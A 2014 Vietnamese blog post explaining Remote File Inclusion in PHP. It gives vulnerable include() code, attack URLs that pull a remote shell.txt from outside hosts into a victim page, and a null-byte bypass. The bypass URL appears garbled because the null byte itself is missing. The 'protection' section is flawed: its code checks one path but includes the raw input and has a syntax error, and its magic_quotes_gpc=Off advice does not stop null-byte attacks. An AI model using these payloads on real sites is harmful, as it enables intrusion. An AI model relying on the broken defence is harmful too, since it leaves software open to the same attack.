Chủ Nhật, 9 tháng 2, 2014

Remote file inclusion (RFI)

Remote file inclusion (RFI)
a)Giới thiệu nội dung chính :


Đây là một phương pháp hack lợi dụng hàm include() trong php để chèn vào một vài file nào đó.Thường nội dùng chèn vào file ta nên lấy từ 1 file txt nào đó chứa nội dung của một script shell.
Xem một mẫu RFI
http://www.victim.com/index.php?page=home
Và đoạn script cho phép chèn

<?php
$page = $_GET['page'];
include($page);
?>


Ở đây nếu biến $page đc khai báo toàn cục trong file cấu hình php.ini (register_global đc set on) thì đoạn script đc viết kiểu như sau

<?php
include($page);
?>


Giả sử victim là http://www.victim.com/index.php?page=home
ta có thể chỉ định cho home là nội dung của một con shell.Ví dụ như thế này.
http://www.victim.com/index.php?page=www.huynhdegroup.com/shell.txt?
Lúc này nội dung của con shell sẽ được chèn vào thay thế cho nội dung của trang home.
Điều kiện để có thể include nội dung từ một link khác này có thể thực hiện đc đó là trong cấu hình php.ini ,2 thuộc tính allow_url_open , allow_url_include đc set là ON.Chỉ khi 2 thuộc tính này đc set là On nó mới cho phép vịêc thực hiện include từ 1 url nào đó vào nội dung của site.Vậy thử suy nghĩ xem.Giả sử truờng hợ 2 thuộc tính này đc set với giá trị là OFF thì điều gì sẽ xảy ra.Và ta sẽ xử lí trường hợp này như thế nào?
- Điều xảy ra đó là ko thể include nội dung từ 1 url khác đc.
- Nhưng ta có thể lợi dụng lỗi này để xem một số file nhạy cảm khác nằm trong server của mình .Như xem nội dung của etc/passwd chẳng hạn --> phương pháp này gọi là Local File Inclusion .Chúng ta sẽ bàn về nó sau

b) Phương pháp bypass:

Đôi khi không phải lúc nào ta cũng thực hiện thành công ngay RFI.Ví dụ như trong đoạn script php.Coder cố gắng hạn chế RFI bằng các giới hạn file có thể include như sau.

<?php
$page = $_GET['page'];
include($page.".htm");
?>


Đoạn script này chỉ cho phép include những trang có đuôi là htm mà thôi.Đối với các kiểu liên quan đến loại file này ta thường dùng null byte bypass ()
Lúc này chúng ta sẽ sẽ include với mẫu như sau
http://www.victim.com/index.php?page=www.antiwhitehat.com/shell.txt

Nếu bạn nào từng upload shell php mà bị chặn file php hẳn cũng biết phương pháp này này.Với việc chèn thì mọi thứ sau nó sẽ ko đc tính đến .

c) Phương pháp Bảo vệ:

Đứng trên phương diện chống RFI ,chúng ta có thể để với mẫu như sau.Đọc script sẽ hiểu vì sao nó chống đc RFI nhé.

<?php
$page = $_GET['page'];
if(file_exists("pages/".$page) {
include($page);
}
?>


Hoặc để chống null-bypass ta có thể set thuộc tính magic_quotes_gpc=Off

Tác giả:Icarus TheGioiNgam.Org

Không có nhận xét nào:

Đăng nhận xét